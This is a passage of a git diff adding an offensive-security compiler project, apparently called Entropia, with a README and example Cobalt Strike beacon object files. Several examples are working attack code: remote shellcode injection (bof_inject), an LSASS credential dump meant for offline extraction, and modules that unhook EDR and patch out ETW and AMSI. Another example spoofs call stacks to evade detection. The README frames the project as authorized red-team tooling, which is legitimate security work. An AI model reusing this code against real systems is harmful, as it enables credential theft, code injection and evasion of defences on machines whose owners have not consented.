compiler. Takes `.etpy` source files, produces `.bin` shellcode or `.x64.o` BOFs. | +| `bof-runner` | Local test harness for BOFs. Applies relocations, fills the Beacon API stubs, calls `go(args, len)`. | +| `entc-debug` | Debug Adapter Protocol server. Powers VS Code F5 and F9. | +| `entc-win32gen` | Generates typed C headers from Microsoft's win32metadata. | +| VS Code extension | Syntax highlighting, F5 build-and-run, F9 breakpoints inside inline asm. Located at `tools/vscode-entropykit/`. | + +--- + +## Building from source + +### Requirements + +- Rust 1.75 or newer ([rustup.rs](https://rustup.rs)). +- Windows x86-64 for running the produced binaries. The compiler itself builds + and runs on Linux and macOS too, but the output targets Windows. + +### Build everything + +```bash +cargo build --release +``` + +Three binaries land under `target/release/`: + +``` +target/release/entc.exe +target/release/bof-runner.exe +target/release/entc-debug.exe +``` + +### Build a single binary + +```bash +cargo build --release -p entropykit # entc only +cargo build --release -p bof-runner # local BOF harness only +cargo build --release -p entc-debug # DAP server only +``` + +### Install the VS Code extension + +```bash +python tools/vscode-entropykit/build.py install +``` + +Reload VS Code (Command Palette to "Developer: Reload Window") to pick it up. +Other actions (`uninstall`, `status`, `vsix`) are documented at +[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation). + +Soon comming to VS Code marketplace + +--- + +## Documentation + +Reference and guides live at +**[docs.entropykit.com](https://docs.entropykit.com)**. + +| Section | What it covers | +|---|---| +| [Getting Started](https://docs.entropykit.com/getting-started/installation) | Install, project setup, first program, CLI reference, every compiler flag. | +| [Language](https://docs.entropykit.com/language/overview) | Types, control flow, structs, pointers, indexing, casts, try and catch, inline asm, intrinsics, garbage collector. | +| [Modules and Stdlib](https://docs.entropykit.com/modules/use) | `use` and `use_c`, what is in the standard library. | +| [Win32](https://docs.entropykit.com/win32/calling-apis) | How `Lib.Function(...)` calls work end to end. Custom resolvers. | +| [BOF Mode](https://docs.entropykit.com/bof/overview) | `go(args, len)`, Beacon API, auto-generated Aggressor scripts, local testing, F5 debugging. | +| [OPSEC](https://docs.entropykit.com/opsec/overview) | Every flag explained with examples and trade-offs. | +| [Advanced](https://docs.entropykit.com/advanced/overrides) | `[Override(Slot)]`, `[Hook(...)]`, lifecycle stages. | + +A self-contained PDF snapshot of the docs ships with every tagged release. + +--- + +## Status + +Entropia is pre-1.0 and the surface is still moving. Expect changes between +commits to the compiler internals; the source-level language surface is +stable enough that the examples in this README are expected to keep working. + +Roughly what is done and what is in flight: + +| Area | Status | +|---|---| +| Compiler front end (lexer, parser, type checker) | Stable. | +| Codegen and encoder | Stable. New mnemonics get added as needed. | +| BOF mode | Stable. | +| Shellcode mode | Stable. | +| OPSEC stack (poly, syscalls, sleep masks, hashed imports) | Stable. | +| VS Code F5 / F9 flow | Stable. | +| Garbage collector | Stable. Manual mode is the recommended default for size-sensitive builds. | +| Linux / macOS toolchain support | Build-only. Generated artifacts always target Windows x86-64. | +| Tests | To be implemented. | +| ARM64 backend | Not started. | + +--- + +## Contributing + +Issues and pull requests are welcome. A few ground rules: + +- **Bug reports**: include the smallest `.etpy` that reproduces the issue and + the exact `entc compile` command line. Compiler bugs that fail at build time + are easier to triage than runtime crashes; runtime crashes need the artifact + and the host environment too. +- **New language features**: open an issue first to discuss the design. The + language surface is small on purpose. +- **OPSEC techniques**: new `--opsec=*` flags or new `opsec_*` stdlib modules + are encouraged. Pair the implementation with a stdlib example and a docs + page explaining the trade-off. +- **Pre-commit**: run `cargo build --release` and `cargo test --release` + before pushing. We will add a CI workflow that enforces this. + +--- + +## Authorization and responsible use + +Entropia is dual-use security tooling. The example BOFs implement +well-documented offensive primitives (process enumeration, token +impersonation, remote injection, LSASS dump, AMSI and ETW silencing) that +you can find in mainstream tradecraft references like nanodump, mimikatz, +TrustedSec's CS-Situational-Awareness-BOF collection, and Cobalt Strike's +stock BOF library. + +Use Entropia only in authorized red-team engagements, CTF environments, and +security research. The authors assume no liability for misuse. + +--- + +## Acknowledgments + +Entropia stands on the shoulders of a community of public research: + +- **Cobalt Strike** for defining the BOF format and the Beacon API surface. +- **TrustedSec** for the CS-Situational-Awareness-BOF collection and the + COFFLoader reference. +- **nanodump**, **freshycalls**, **HellsGate**, **HalosGate**, **TartarusGate** + for syscall-stub research. +- **Ekko**, **Foliage**, **Draugr** for sleep-mask and stack-spoofing + techniques. +- **win32metadata** for the typed Win32 surface generation. + +--- + +
+ +[Documentation](https://docs.entropykit.com)  ·  +[Releases](https://github.com/entropykit/entropia/releases)  ·  +[EntropyKit](https://entropykit.com) + +
diff --git a/assets/logo-dark.svg b/assets/logo-dark.svg new file mode 100644 index 0000000..a445e3c --- /dev/null +++ b/assets/logo-dark.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/assets/logo-light.svg b/assets/logo-light.svg new file mode 100644 index 0000000..719cb19 --- /dev/null +++ b/assets/logo-light.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/examples/asm_demo.etpy b/examples/asm_demo.etpy new file mode 100644 index 0000000..75c4919 --- /dev/null +++ b/examples/asm_demo.etpy @@ -0,0 +1,127 @@ +// SPDX-License-Identifier: Apache-2.0 + +// Function-local statics don't exist yet - we use a top-level one +// the asm block reads + writes by name. +static accumulator: u64 = 0; + + +// Take a value through a register so callers can confirm `%a` resolved +// to the right frame slot. +fn identity(a: u64) -> u64 { + var result: u64; + asm { + mov rax, %a // load param from its frame slot + mov %result, rax // store rax into the local's slot + } + ret result; +} + +// Add via inline asm using two parameters. Shows the params are +// already spilled to the frame when the asm block runs, so `%a` +// and `%b` work the same way as locals. +fn asm_add(a: u64, b: u64) -> u64 { + var result: u64; + asm { + mov rax, %a + add rax, %b + mov %result, rax + } + ret result; +} + +// Counted loop demonstrating asm-local labels + conditional jumps. +// Sums 1..=n via plain ADDs, no host-language control flow. +fn asm_sum_to(n: u64) -> u64 { + var total: u64 = 0; + var i: u64 = 1; + asm { + mov rax, %total + mov rcx, %i + mov rdx, %n + loop_top: + cmp rcx, rdx + ja done // unsigned above to i > n, exit + add rax, rcx + inc rcx + jmp loop_top + done: + mov %total, rax + } + ret total; +} + +// Pointer walk via memory operands. `buf` is a u64*; we sum the +// first `n` slots via `[reg + idx*8]` indexed loads. +fn asm_sum_array(buf: u64*, n: u64) -> u64 { + var total: u64 = 0; + asm { + xor rax, rax // total + xor rcx, rcx // idx + mov rdx, %buf + mov r8, %n + walk: + cmp rcx, r8 + jae fin + mov r9, [rdx + rcx*8] // qword-indexed load + add rax, r9 + inc rcx + jmp walk + fin: + mov %total, rax + } + ret total; +} + +// Call a local fn from inline asm with arg already loaded. Result +// comes back in rax under Win64; we drop it into a local for return. +fn asm_call_demo(x: u64) -> u64 { + var got: u64; + asm { + mov rcx, %x // load arg 0 into the Win64 slot + call %identity // to rax = x + mov %got, rax + } + ret got; +} + +// Mutate a static through asm. Demonstrates `%global` resolves to +// `[rip + __static_accumulator]` and that the static survives the +// in-asm round trip. +fn asm_bump_static(delta: u64) -> u64 { + asm { + mov rax, %accumulator + add rax, %delta + mov %accumulator, rax + } + ret accumulator; +} + +// Composition test: build a number through every flavour of inline +// asm, then pop a MessageBox showing the result so a human can see +// the demo ran. +fn main() -> int { + var x: u64 = 0x12345678; + var sum_1_to_10: u64 = asm_sum_to(10); // 55 + var added: u64 = asm_add(x, sum_1_to_10); + var echoed: u64 = asm_call_demo(added); + + // Sum a small inline buffer via the indexed-load helper. + var buf: u64[4]; + buf[0] = 1; + buf[1] = 2; + buf[2] = 4; + buf[3] = 8; + var arr_sum: u64 = asm_sum_array((u64*)buf, 4); // 15 + + // Bump the static twice to prove %global round-trips. + asm_bump_static(1); + asm_bump_static(arr_sum); // accumulator = 16 + + // Compose everything into a final number, pop it as a MessageBox. + var final_val: u64 = echoed + accumulator; + + // Format the value into a string buffer for the popup. + User32.MessageBoxA(0, str.format("asm demo: 0x{x}", final_val), + "EntropyKit inline asm", 0); + ret 0; +} diff --git a/examples/bin/bof_cna_test.cna b/examples/bin/bof_cna_test.cna new file mode 100644 index 0000000..7ef50d2 --- /dev/null +++ b/examples/bin/bof_cna_test.cna @@ -0,0 +1,16 @@ +# inject_payload.cna +# Auto-generated by entc from example/bof_cna_test.etpy. +# Do not edit by hand; regenerate by rebuilding the .obj. + +alias inject_payload { + local('$bid $pid $path'); + if (size(@_) != 3) { berror($1, "usage: inject_payload "); return; } + ($bid, $pid, $path) = @_; + $args = bof_pack($bid, "iz", $pid, $path); + bof_inline_execute($bid, script_resource("bof_cna_test.x64.o"), "inject_payload", $args); +} + +beacon_command_register( + "inject_payload", + "Auto-generated BOF command from example/bof_cna_test.etpy", + "Usage: inject_payload "); diff --git a/examples/bof_args_test.etpy b/examples/bof_args_test.etpy new file mode 100644 index 0000000..64026f5 --- /dev/null +++ b/examples/bof_args_test.etpy @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_args_test.etpy - declarative argument binding via [BofArgs]. +// +// The struct is annotated; the compiler synthesises +// bof_parse_TestArgs(args, len, &out) that drives BeaconDataParse + +// BeaconDataInt + BeaconDataExtract in declaration order. +// +// Run: bof-runner bof_args_test.obj --iarg 1234 --zarg "hello" + +use bof; + +[BofArgs] +struct TestArgs { + pid: int, + name: char*, +} + +fn go(args: char*, len: int) -> void { + var a: TestArgs; + bof_parse_TestArgs(args, len, &a); + BeaconPrintf(0, str.format("pid={d} name={s}\n", a.pid, (char*)a.name)); + ret; +} diff --git a/examples/bof_cna_test.etpy b/examples/bof_cna_test.etpy new file mode 100644 index 0000000..2e35b75 --- /dev/null +++ b/examples/bof_cna_test.etpy @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_cna_test.etpy - `[BofCommand]` + `[BofArgs]` end-to-end. +// +// Building this BOF produces both: +// - bof_cna_test.obj (the BOF artifact) +// - bof_cna_test.cna (Aggressor script registering the command) +// +// Drop both into a Cobalt Strike profile dir, restart the server, +// and operators can run: `inject_payload 1234 "C:\path\to\payload.bin"` + +use bof; + +[BofArgs] +struct InjectArgs { + pid: int, + path: char*, +} + +[BofCommand("inject_payload")] +fn go(args: char*, len: int) -> void { + var a: InjectArgs; + bof_parse_InjectArgs(args, len, &a); + BeaconPrintf(0, str.format("[+] target pid={d} path={s}\n", a.pid, a.path)); + ret; +} diff --git a/examples/bof_enum_demo.etpy b/examples/bof_enum_demo.etpy new file mode 100644 index 0000000..e2e775b --- /dev/null +++ b/examples/bof_enum_demo.etpy @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_enum_demo.etpy - namespaced enums +// +// Name.Variant lowers to an integer literal at compile time. +// Different enums can share variant names (Color.Red vs Severity.High vs ErrorCode.Red - all distinct). + +use bof; + +enum Severity { + Info = 0, + Warn = 1, + Error = 2, + Fatal = 3, +} + +enum Color { + Red = 0xFF0000, + Green = 0x00FF00, + Blue = 0x0000FF, +} + +// Auto-increment from previous: HKLM = 1, HKCU = 2, HKCR = 3 +enum Hive { + HKLM = 1, + HKCU, + HKCR, +} + +fn log_line(sev: int, msg: str) -> void { + if sev == Severity.Info { BeaconPrintf(0, str.format("[INFO ] {s}\n", msg)); } + if sev == Severity.Warn { BeaconPrintf(0, str.format("[WARN ] {s}\n", msg)); } + if sev == Severity.Error { BeaconPrintf(0, str.format("[ERROR] {s}\n", msg)); } + if sev == Severity.Fatal { BeaconPrintf(0, str.format("[FATAL] {s}\n", msg)); } + ret; +} + +fn go(args: char*, len: int) -> void { + log_line(Severity.Info, "starting"); + log_line(Severity.Warn, "watch out"); + log_line(Severity.Error, "bad happened"); + log_line(Severity.Fatal, "give up"); + BeaconPrintf(0, str.format("red = 0x{x}\n", Color.Red)); + BeaconPrintf(0, str.format("green = 0x{x}\n", Color.Green)); + BeaconPrintf(0, str.format("HKLM = {d}\n", Hive.HKLM)); + BeaconPrintf(0, str.format("HKCU = {d}\n", Hive.HKCU)); + BeaconPrintf(0, str.format("HKCR = {d}\n", Hive.HKCR)); + ret; +} diff --git a/examples/bof_filehunt.etpy b/examples/bof_filehunt.etpy new file mode 100644 index 0000000..6106c8b --- /dev/null +++ b/examples/bof_filehunt.etpy @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_filehunt.etpy - substring-match file hunting. +// +// Walks a directory via FindFirstFileA / FindNextFileA, collects +// every entry whose name contains the operator-supplied substring +// into a doubly-linked list, then prints all matches at the end. +// +// Build: entc compile example/bof_filehunt.etpy --type=bof +// Args: +// --zarg directory to walk (e.g. C:\Users\dev) +// --zarg match substring (e.g. ".kdbx") +// Run: bof-runner example/bof_filehunt.obj \ +// --zarg "C:\Users\dev" \ +// --zarg ".kdbx" + +use bof; +use list; +use_c "stdlib/win32/filesystem.h"; + +// strlen_max(s, max) - walk the NUL-terminated string, return the length (excluding the nul). Bounded by max so a runaway pointer doesn't fault. +//No libc dependency. +fn strlen_max(s: char*, max: u64) -> u64 { + var i: u64 = 0; + while i < max { + if s[i] == (u8)0 { ret i; } + i = i + 1; + } + ret max; +} + +// contains - true iff needle occurs as a contiguous byte substring of haystack[0..hlen]. +// O(hlen * nlen) - fine for the path-length scale we operate on. +fn contains(haystack: char*, hlen: u64, needle: char*, nlen: u64) -> bool { + if nlen == 0 { ret true; } // empty needle matches everywhere + if nlen > hlen { ret false; } + var i: u64 = 0; + while i + nlen <= hlen { + if mem.cmp((char*)(haystack + i), needle, nlen) == 0 { + ret true; + } + i = i + 1; + } + ret false; +} + +// gc_strdup - allocate n + 1 bytes on the GC heap, +// copy the source bytes in, NUL-terminate. Returns the pointer as a u64 ready to push into a List +fn gc_strdup(src: char*, n: u64) -> u64 { + var dst: u64 = mem.alloc(n + 1); + if dst == 0 { ret 0; } + mem.copy((void*)dst, src, n); + // mem.alloc zero-inits (HEAP_ZERO_MEMORY in BOF mode), so the + // NUL terminator is already at position `n`. Nothing more to do. + ret dst; +} + +fn go(args: char*, len: int) -> void { + + // First z-string: directory to walk. Second: match substring. + // Both required; we error out cleanly if either is missing. + var parser: datap; + BeaconDataParse(&parser, args, len); + var dir_len: int = 0; + var dir: char* = BeaconDataExtract(&parser, &dir_len); + var needle_len: int = 0; + var needle: char* = BeaconDataExtract(&parser, &needle_len); + if dir_len == 0 || needle_len == 0 { + BeaconPrintf(0, "[!] usage: filehunt \n"); + ret; + } + BeaconPrintf(0, str.format("[+] hunting in {s} for `{s}`\n", dir, needle)); + + + // FindFirstFileA wants a glob. We stitch the operator's directory together with `\*` so every entry inside it surfaces. + // stick to a 280-byte buffer. If the operator passes anything wider we truncate (FindFirstFileA fails gracefully if the path doesn't exist). + var pattern: u8[280]; + var d_used: u64 = strlen_max(dir, 260); + mem.copy((char*)pattern, dir, d_used); + pattern[d_used ] = (u8)0x5c; // '\' + pattern[d_used + 1] = (u8)0x2a; // '*' + pattern[d_used + 2] = (u8)0; // NUL + + // FindFirstFileA returns INVALID_HANDLE_VALUE (-1) on failure. + // FindNextFileA returns 0 (FALSE) when the iteration is done, the loop bails on the first false + var fd: WIN32_FIND_DATAA; + var h: u64 = (u64)Kernel32.FindFirstFileA((char*)pattern, &fd); + if h == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, str.format("[!] FindFirstFileA(`{s}`) failed\n", (char*)pattern)); + ret; + } + + // Match collector: every matching filename gets copied onto the GC heap and pushed into this list. list_new() from + // stdlib/list.etpy + var matches: u64 = list_new(); + var scanned: int = 0; + + var nlen_u: u64 = (u64)needle_len - 1; // strip the nul beacon counted + var more: int = 1; + while more != 0 { + var fname: char* = (char*)fd.cFileName; + var flen: u64 = strlen_max(fname, 260); + + // Skip the '.' / '..' entries + var skip: bool = false; + if flen == 1 && fname[0] == (u8)0x2e { skip = true; } + if flen == 2 && fname[0] == (u8)0x2e && fname[1] == (u8)0x2e { skip = true; } + + if skip == false { + scanned = scanned + 1; + if contains(fname, flen, needle, nlen_u) { + var copy: u64 = gc_strdup(fname, flen); + if copy != 0 { list_push(matches, copy); } + } + } + + more = Kernel32.FindNextFileA((void*)h, &fd); + } + Kernel32.FindClose((void*)h); + + // Walk the list head-to-tail. + // Each node's value is the pointer we kept via gc_strdup so cast it back to har* and print directly. + var hits: u64 = list_count(matches); + BeaconPrintf(0, str.format("[+] scanned {d} entries, {d} hits:\n", + scanned, (int)hits)); + + var node: u64 = list_head(matches); + while node != 0 { + var path: char* = (char*)list_node_value(node); + BeaconPrintf(0, str.format(" {s}\n", path)); + node = list_node_next(node); + } + ret; +} diff --git a/examples/bof_inject.etpy b/examples/bof_inject.etpy new file mode 100644 index 0000000..04cd18c --- /dev/null +++ b/examples/bof_inject.etpy @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_inject.etpy - remote-process shellcode injection. +// Build: entc compile example/bof_inject.etpy --type=bof +// +// Args: +// --iarg target process +// --barg @ shellcode payload (raw bytes, length-prefixed) +// +// Run: bof-runner example/bof_inject.obj \ +// --iarg 4242 \ +// --barg @example/payload.bin + +use bof; + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var pid: int = BeaconDataInt(&parser); + + var sc_len: int = 0; + var sc_ptr: char* = BeaconDataExtract(&parser, &sc_len); + + if pid == 0 || sc_len == 0 { + BeaconPrintf(0, "[!] usage: inject \n"); + BeaconPrintf(0, " operator passes the payload via bof_pack \"b\"\n"); + ret; + } + BeaconPrintf(0, str.format("[+] target pid {d}, payload {d} bytes\n", + pid, sc_len)); + + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION + | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, + 0, (u32)pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed (privs / target gone?)\n"); + ret; + } + + + // Allocate sc_len bytes inside the remote process, RWX. + var remote: u64 = (u64)Kernel32.VirtualAllocEx( + (void*)h_proc, (void*)0, (u64)sc_len, + MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if remote == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] VirtualAllocEx failed\n"); + ret; + } + BeaconPrintf(0, str.format("[+] remote alloc @ 0x{x}\n", (int)remote)); + + var written: u64 = 0; + var ok: int = Kernel32.WriteProcessMemory( + (void*)h_proc, (void*)remote, sc_ptr, (u64)sc_len, &written); + if ok == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] WriteProcessMemory failed\n"); + ret; + } + + var old_prot: u32 = 0; + Kernel32.VirtualProtectEx( + (void*)h_proc, (void*)remote, (u64)sc_len, + PAGE_EXECUTE_READ, &old_prot); + + var tid: u32 = 0; + var h_thr: u64 = (u64)Kernel32.CreateRemoteThread( + (void*)h_proc, (void*)0, (u64)0, + (void*)remote, (void*)0, 0, &tid); + Kernel32.CloseHandle((void*)h_proc); + + if h_thr == 0 { + BeaconPrintf(0, "[!] CreateRemoteThread failed\n"); + ret; + } + Kernel32.CloseHandle((void*)h_thr); + BeaconPrintf(0, str.format("[+] thread {d} running in pid {d}\n", + (int)tid, pid)); + ret; +} diff --git a/examples/bof_lsass_dump.etpy b/examples/bof_lsass_dump.etpy new file mode 100644 index 0000000..19fd436 --- /dev/null +++ b/examples/bof_lsass_dump.etpy @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_lsass_dump.etpy - credential-store memory dump. +// +// Locates lsass.exe via Toolhelp32, OpenProcess's it with +// PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, then writes a full +// minidump via dbghelp!MiniDumpWriteDump. The .dmp can be carried +// back and processed offline with mimikatz / pypykatz / etc. +// +// Same tradecraft surface as nanodump / dumpert / Mimikatz' +// `sekurlsa::minidump` - but in ~80 lines of EntropyKit source +// instead of 800 of hand-rolled C with `#ifdef _MSC_VER` blocks. +// +// Pre-conditions: +// * SeDebugPrivilege (admin token OR steal token from a process +// that has it). Without it, OpenProcess returns NULL and the +// BOF reports `[!] OpenProcess failed`. +// +// Build: entc compile example/bof_lsass_dump.etpy --type=bof +// Args: --zarg "C:\Path\to\output.dmp" (optional; default below) +// Run: bof-runner example/bof_lsass_dump.obj --zarg "C:\\Windows\\Temp\\debug.bin" +// + +use bof; +use_c "stdlib/win32/toolhelp.h"; + +// Find lsass.exe by walking the toolhelp snapshot. Returns its PID or 0 if not found. + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret 0; + } + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + var found: u32 = 0; + while ok != 0 { + + if mem.cmp((char*)pe.szExeFile, "lsass.exe", 10) == 0 { + found = pe.th32ProcessID; + } + ok = Kernel32.Process32Next((void*)snap, &pe); + } + Kernel32.CloseHandle((void*)snap); + ret found; +} + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var size: int; + var path: char* = BeaconDataExtract(&parser, &size); + + if size == 0 { + path = "C:\\Windows\\Temp\\debug.bin"; + } + + var pid: u32 = find_lsass_pid(); + if pid == 0 { + BeaconPrintf(0, "[!] lsass.exe not found in snapshot\n"); + ret; + } + BeaconPrintf(0, str.format("[+] lsass.exe pid = {d}\n", (int)pid)); + + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed - SeDebugPrivilege required\n"); + BeaconPrintf(0, " (elevate, or impersonate a SYSTEM token first)\n"); + ret; + } + BeaconPrintf(0, str.format("[+] OpenProcess OK, handle=0x{x}\n", (int)h_proc)); + + var h_file: u64 = (u64)Kernel32.CreateFileA( + path, GENERIC_WRITE, 0, (void*)0, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, (void*)0); + if h_file == 0xFFFFFFFFFFFFFFFF { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, str.format("[!] CreateFileA(\"{s}\") failed\n", path)); + ret; + } + + BeaconPrintf(0, "[+] writing minidump...\n"); + var dumped: int = Dbghelp.MiniDumpWriteDump( + (void*)h_proc, pid, (void*)h_file, + MiniDumpWithFullMemory, + (void*)0, (void*)0, (void*)0 + ); + + Kernel32.CloseHandle((void*)h_file); + Kernel32.CloseHandle((void*)h_proc); + + if dumped != 0 { + BeaconPrintf(0, str.format("[+] wrote {s}\n", path)); + BeaconPrintf(0, "[+] retrieve via `download`, then offline:\n"); + BeaconPrintf(0, " pypykatz lsa minidump \n"); + } else { + BeaconPrintf(0, "[!] MiniDumpWriteDump failed\n"); + } + ret; +} diff --git a/examples/bof_manual_mem.etpy b/examples/bof_manual_mem.etpy new file mode 100644 index 0000000..198220d --- /dev/null +++ b/examples/bof_manual_mem.etpy @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_manual_mem.etpy - verify mem.alloc / mem.free pair. +// +// In BOF mode this works regardless of --gc. In standard mode it requires --gc=manual. + +use bof; + +fn go(args: char*, len: int) -> void { + var buf: u64 = mem.alloc(64); + if buf == 0 { + BeaconPrintf(0, "[!] HeapAlloc failed\n"); + ret; + } + var b: u8* = (u8*)buf; + b[0] = (u8)0x41; + b[63] = (u8)0x42; + BeaconPrintf(0, str.format("[+] alloc 64 bytes at {p}, first=0x{x} last=0x{x}\n", + buf, (int)b[0], (int)b[63])); + mem.free(buf); + BeaconPrintf(0, "[+] freed\n"); + ret; +} diff --git a/examples/bof_named_consts_demo.etpy b/examples/bof_named_consts_demo.etpy new file mode 100644 index 0000000..c5b0c46 --- /dev/null +++ b/examples/bof_named_consts_demo.etpy @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_named_consts_demo.etpy - Win32 constants without `use_c`. +// +// Every #define in stdlib/win32/*.h is now auto-included on +// every build. Magic-number arguments to Win32 calls become +// readable names with zero ceremony. + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, str.format("PROCESS_QUERY_INFORMATION = 0x{x}\n", + (int)PROCESS_QUERY_INFORMATION)); + BeaconPrintf(0, str.format("TOKEN_DUPLICATE = 0x{x}\n", + (int)TOKEN_DUPLICATE)); + BeaconPrintf(0, str.format("MEM_COMMIT = 0x{x}\n", + (int)MEM_COMMIT)); + BeaconPrintf(0, str.format("PAGE_EXECUTE_READWRITE = 0x{x}\n", + (int)PAGE_EXECUTE_READWRITE)); + ret; +} diff --git a/examples/bof_opsec_stack_demo.etpy b/examples/bof_opsec_stack_demo.etpy new file mode 100644 index 0000000..a03bb8a --- /dev/null +++ b/examples/bof_opsec_stack_demo.etpy @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_opsec_stack_demo.etpy - demonstrate the one-line OPSEC +// modules. +// +// Three `use` statements wire three [Stage(Init)] handlers +// that fire at startup before the user body runs: +// +// 1. opsec_unhook - reload ntdll from disk over the loaded +// copy, wiping every EDR inline hook. +// 2. opsec_etw - patch EtwEventWrite + variants so trace +// providers stop receiving events. +// 3. opsec_amsi - patch AmsiScanBuffer so AMSI scan +// requests return E_INVALIDARG. +// +// Build: entc compile example/bof_opsec_stack_demo.etpy --type=bof +// Run: bof-runner example/bin/bof_opsec_stack_demo.x64.o + +use bof; +use opsec_unhook; +use opsec_etw; +use opsec_amsi; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "[+] opsec stack engaged\n"); + BeaconPrintf(0, "[+] ntdll unhooked, ETW silenced, AMSI bypassed\n"); + ret; +} diff --git a/examples/bof_pslist.etpy b/examples/bof_pslist.etpy new file mode 100644 index 0000000..b7e44fa --- /dev/null +++ b/examples/bof_pslist.etpy @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: Apache-2.0 + +use bof; +use_c "stdlib/win32/toolhelp.h"; + +fn go(args: char*, len: int) -> void { + + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret; + } + + var pe: PROCESSENTRY32; + + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + if ok == 0 { + Kernel32.CloseHandle((void*)snap); + BeaconPrintf(0, "[!] Process32First failed (empty snapshot)\n"); + ret; + } + + BeaconPrintf(0, "[+] PID Process\n"); + BeaconPrintf(0, "[+] ----- -----------------------------\n"); + var count: int = 0; + while ok != 0 { + BeaconPrintf(0, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + (char*)pe.szExeFile)); + count = count + 1; + ok = Kernel32.Process32Next((void*)snap, &pe); + } + + Kernel32.CloseHandle((void*)snap); + BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count)); + ret; +} diff --git a/examples/bof_pslist_spoofed.etpy b/examples/bof_pslist_spoofed.etpy new file mode 100644 index 0000000..cb6f2ed --- /dev/null +++ b/examples/bof_pslist_spoofed.etpy @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_pslist_spoofed.etpy - process enumeration with stack-spoofed +// Win32 calls. +// +// Same tradecraft as bof_pslist.etpy but every Toolhelp32 call +// is dispatched through stackspoof_callN so the kernel-side stack walk during the call sees ntdll-shaped frames instead of our memory. +// +// What you're trading: +// - Two extra Win32 calls per spoofed dispatch +// (GetModuleHandleA + GetProcAddress to resolve fn_ptr). +// - +6 bytes per call site (the helper stub). +// +// Build: entc compile example/bof_pslist_spoofed.etpy --type=bof +// Run: bof-runner example/bof_pslist_spoofed.obj + +use bof; +use opsec_stack_spoof; +use_c "stdlib/win32/toolhelp.h"; + +// Resolve a Win32 export to a raw function pointer for use with +// the stackspoof helpers. Wrapping GetModuleHandleA + GetProcAddress so the operator-visible code stays tidy. +fn resolve(module: str, function: str) -> u64 { + var h: void* = Kernel32.GetModuleHandleA(module); + if h == (void*)0 { ret 0; } + ret (u64)Kernel32.GetProcAddress(h, function); +} + +fn go(args: char*, len: int) -> void { + // discover the JMP RBX gadget so the per-call overhead stays constant. + //(Optional - the first stackspoof_callN does the discovery lazily anyway) + var gadget: u64 = stackspoof_init(); + if gadget == 0 { + BeaconPrintf(0, "[!] no JMP RBX gadget found; falling back to plain calls\n"); + } else { + BeaconPrintf(0, str.format("[+] JMP RBX gadget @ 0x{x}\n", (int)gadget)); + } + + var pCreateSnap: u64 = resolve("kernel32.dll", "CreateToolhelp32Snapshot"); + var pProcFirst: u64 = resolve("kernel32.dll", "Process32First"); + var pProcNext: u64 = resolve("kernel32.dll", "Process32Next"); + var pCloseHandle:u64 = resolve("kernel32.dll", "CloseHandle"); + + // CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + var snap: u64 = stackspoof_call2(pCreateSnap, (u64)TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret; + } + + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + // Process32First(snap, &pe) + var ok: u64 = stackspoof_call2(pProcFirst, snap, (u64)&pe); + if ok == 0 { + stackspoof_call1(pCloseHandle, snap); + BeaconPrintf(0, "[!] Process32First failed\n"); + ret; + } + + BeaconPrintf(0, "[+] PID Process (spoofed-call dispatch)\n"); + var count: int = 0; + while ok != 0 { + BeaconPrintf(0, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + 